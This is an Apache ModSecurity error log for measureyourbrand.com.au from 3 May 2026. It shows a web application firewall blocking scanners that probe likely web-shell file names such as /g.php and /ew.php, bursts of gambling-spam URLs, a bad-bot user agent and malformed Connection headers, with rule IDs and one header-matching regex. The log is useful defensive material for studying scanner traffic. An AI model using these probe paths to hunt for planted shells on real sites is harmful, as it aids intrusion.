[Sun May 03 09:57:36.630965 2026] [:error] [pid 40456:tid 40480] [client 172.173.121.85:5237] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "afarkDSujTvwdzEkjSf1TgAAAZY"]
[Sun May 03 09:57:37.974903 2026] [:error] [pid 37127:tid 37196] [client 172.173.121.85:5244] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "afarkf8khJXb5O5aWVXzHQAAAEw"]
[Sun May 03 09:57:38.391143 2026] [:error] [pid 40456:tid 40477] [client 172.173.121.85:5976] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "afarkjSujTvwdzEkjSf1UAAAAZM"]
[Sun May 03 09:57:38.769066 2026] [:error] [pid 40456:tid 40479] [client 172.173.121.85:5166] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "afarkjSujTvwdzEkjSf1UQAAAZU"]
[Sun May 03 09:57:39.678309 2026] [:error] [pid 40456:tid 40474] [client 172.173.121.85:30297] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "afarkzSujTvwdzEkjSf1UwAAAZA"]
[Sun May 03 09:57:40.093998 2026] [:error] [pid 40422:tid 40450] [client 172.173.121.85:5867] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "afarlEHBbBLrXh6PBuuvVQAAAVg"]
[Sun May 03 09:57:40.482686 2026] [:error] [pid 40422:tid 40449] [client 172.173.121.85:5920] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "afarlEHBbBLrXh6PBuuvVwAAAVc"]
[Sun May 03 09:57:40.940276 2026] [:error] [pid 40456:tid 40464] [client 172.173.121.85:5193] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "afarlDSujTvwdzEkjSf1VwAAAYY"]
[Sun May 03 09:57:41.318372 2026] [:error] [pid 40456:tid 40478] [client 172.173.121.85:5199] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "afarlTSujTvwdzEkjSf1WAAAAZQ"]
[Sun May 03 09:57:41.702309 2026] [:error] [pid 40456:tid 40469] [client 172.173.121.85:5141] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "afarlTSujTvwdzEkjSf1WgAAAYs"]
[Sun May 03 09:57:42.114587 2026] [:error] [pid 37130:tid 37215] [client 172.173.121.85:5242] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "afarlqIu7bmXKXicRk9FTAAAAII"]
[Sun May 03 09:57:42.499443 2026] [:error] [pid 40456:tid 40465] [client 172.173.121.85:5905] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "afarljSujTvwdzEkjSf1WwAAAYc"]
[Sun May 03 09:57:42.905531 2026] [:error] [pid 40456:tid 40463] [client 172.173.121.85:5928] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "afarljSujTvwdzEkjSf1XAAAAYU"]
[Sun May 03 09:57:46.320469 2026] [:error] [pid 37127:tid 37187] [client 172.173.121.85:5206] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "afarmv8khJXb5O5aWVXzJgAAAEM"]
[Sun May 03 09:57:46.719290 2026] [:error] [pid 40422:tid 40441] [client 172.173.121.85:5229] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "afarmkHBbBLrXh6PBuuvXAAAAU8"]
[Sun May 03 09:57:47.155180 2026] [:error] [pid 37127:tid 37194] [client 172.173.121.85:5932] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "afarm_8khJXb5O5aWVXzLwAAAEo"]
[Sun May 03 09:57:47.563797 2026] [:error] [pid 40456:tid 40464] [client 172.173.121.85:5931] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "afarmzSujTvwdzEkjSf1jgAAAYY"]
[Sun May 03 09:57:47.949343 2026] [:error] [pid 40422:tid 40429] [client 172.173.121.85:5200] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "afarm0HBbBLrXh6PBuuvcAAAAUM"]
[Sun May 03 09:57:48.445554 2026] [:error] [pid 37130:tid 37213] [client 172.173.121.85:5829] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hypo.php"] [unique_id "afarnKIu7bmXKXicRk9FTgAAAIA"]
[Sun May 03 09:57:48.827089 2026] [:error] [pid 40456:tid 40468] [client 172.173.121.85:5922] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hypo.php"] [unique_id "afarnDSujTvwdzEkjSf1ngAAAYo"]
[Sun May 03 10:58:08.762674 2026] [:error] [pid 40422:tid 40444] [client 43.165.167.72:36840] [client 43.165.167.72] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afa5wEHBbBLrXh6PBuvD3gAAAVI"]
[Sun May 03 11:33:25.608274 2026] [:error] [pid 40456:tid 40465] [client 209.87.169.186:61557] [client 209.87.169.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "afbCBTSujTvwdzEkjScHXQAAAYc"]
[Sun May 03 11:59:12.098513 2026] [:error] [pid 37126:tid 37170] [client 43.155.27.244:45864] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afbIEPR_A42N-LtDyrv3FAAAABE"]
[Sun May 03 17:25:06.605468 2026] [:error] [pid 37246:tid 37264] [client 43.165.126.130:49692] [client 43.165.126.130] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afcUcjhvYFGNwhnPamoLXAAAAQ4"]
[Sun May 03 22:05:23.369710 2026] [:error] [pid 37126:tid 37160] [client 81.167.26.57:31026] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "afdWI_R_A42N-LtDyrtPYQAAAAc"]
[Sun May 03 22:05:25.907868 2026] [:error] [pid 34432:tid 34435] [client 81.167.26.57:18730] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afdWJZ73JKVQ0wlof4KMJAAAAcE"]
[Sun May 03 22:05:28.500455 2026] [:error] [pid 54535:tid 54559] [client 81.167.26.57:63293] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afdWKPRyz79iR-ntJRICBQAAAhY"]
[Sun May 03 22:05:31.137760 2026] [:error] [pid 37130:tid 37213] [client 81.167.26.57:30817] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afdWK6Iu7bmXKXicRk-OwwAAAIA"]
[Sun May 03 22:05:33.706452 2026] [:error] [pid 34432:tid 34453] [client 81.167.26.57:6000] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afdWLZ73JKVQ0wlof4KMNwAAAdM"]
[Sun May 03 22:05:36.261325 2026] [:error] [pid 34432:tid 34448] [client 81.167.26.57:2192] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afdWMJ73JKVQ0wlof4KMPQAAAc4"]
[Sun May 03 22:05:38.920600 2026] [:error] [pid 37130:tid 37236] [client 81.167.26.57:15404] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afdWMqIu7bmXKXicRk-OxAAAAJc"]
[Sun May 03 22:05:41.463518 2026] [:error] [pid 34432:tid 34440] [client 81.167.26.57:48019] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afdWNZ73JKVQ0wlof4KMRgAAAcY"]
[Sun May 03 22:05:44.071300 2026] [:error] [pid 40422:tid 40433] [client 81.167.26.57:58318] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afdWOEHBbBLrXh6PButTZgAAAUc"]
[Sun May 03 22:05:46.670170 2026] [:error] [pid 54535:tid 54546] [client 81.167.26.57:55394] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afdWOvRyz79iR-ntJRICHQAAAgk"]
[Sun May 03 22:05:49.259707 2026] [:error] [pid 37130:tid 37223] [client 81.167.26.57:54681] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afdWPaIu7bmXKXicRk-OyQAAAIo"]
[Sun May 03 22:05:51.696908 2026] [:error] [pid 40456:tid 40462] [client 81.167.26.57:13691] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afdWPzSujTvwdzEkjSdefQAAAYQ"]
[Sun May 03 22:05:54.293346 2026] [:error] [pid 40422:tid 40428] [client 81.167.26.57:5759] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "afdWQkHBbBLrXh6PButTZwAAAUI"]
[Sun May 03 22:05:57.572581 2026] [:error] [pid 37127:tid 37184] [client 81.167.26.57:51438] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afdWRf8khJXb5O5aWVVMRQAAAEA"]
[Sun May 03 22:06:00.109358 2026] [:error] [pid 37126:tid 37168] [client 81.167.26.57:21716] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afdWSPR_A42N-LtDyrtPegAAAA8"]
[Sun May 03 22:06:02.728071 2026] [:error] [pid 37130:tid 37237] [client 81.167.26.57:12591] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afdWSqIu7bmXKXicRk-OygAAAJg"]
[Sun May 03 22:06:05.302437 2026] [:error] [pid 54535:tid 54537] [client 81.167.26.57:26581] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afdWTfRyz79iR-ntJRICIwAAAgA"]
[Sun May 03 22:06:07.763680 2026] [:error] [pid 34432:tid 34437] [client 81.167.26.57:10263] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "afdWT573JKVQ0wlof4KMTgAAAcM"]
[Sun May 03 22:06:10.352253 2026] [:error] [pid 37126:tid 37152] [client 81.167.26.57:46911] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afdWUvR_A42N-LtDyrtPfQAAAAE"]
[Sun May 03 22:06:12.981671 2026] [:error] [pid 40456:tid 40459] [client 81.167.26.57:19800] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afdWVDSujTvwdzEkjSdehAAAAYE"]
[Sun May 03 22:06:15.424665 2026] [:error] [pid 54535:tid 54555] [client 81.167.26.57:7954] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afdWV_Ryz79iR-ntJRICLAAAAhI"]
[Sun May 03 22:06:18.030101 2026] [:error] [pid 54535:tid 54561] [client 81.167.26.57:64343] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afdWWvRyz79iR-ntJRICLQAAAhg"]
[Sun May 03 22:06:20.620138 2026] [:error] [pid 37127:tid 37198] [client 81.167.26.57:63549] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "afdWXP8khJXb5O5aWVVMSAAAAE0"]
[Sun May 03 22:06:42.746084 2026] [:error] [pid 40422:tid 40436] [client 81.167.26.57:33602] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "afdWckHBbBLrXh6PButTfQAAAUo"]
[Sun May 03 22:06:45.143161 2026] [:error] [pid 34432:tid 34444] [client 81.167.26.57:63774] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "afdWdZ73JKVQ0wlof4KMagAAAco"]
[Sun May 03 22:06:47.738418 2026] [:error] [pid 34432:tid 34452] [client 81.167.26.57:21704] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afdWd573JKVQ0wlof4KMbQAAAdI"]
[Sun May 03 22:06:50.343538 2026] [:error] [pid 34432:tid 34445] [client 81.167.26.57:49620] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afdWep73JKVQ0wlof4KMcAAAAcs"]
[Sun May 03 22:06:52.953819 2026] [:error] [pid 34432:tid 34457] [client 81.167.26.57:4885] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afdWfJ73JKVQ0wlof4KMdgAAAdc"]
[Sun May 03 22:06:55.538841 2026] [:error] [pid 34432:tid 34455] [client 81.167.26.57:59759] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afdWf573JKVQ0wlof4KMewAAAdU"]
[Sun May 03 22:06:58.174298 2026] [:error] [pid 37127:tid 37187] [client 81.167.26.57:41681] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afdWgv8khJXb5O5aWVVMTAAAAEM"]
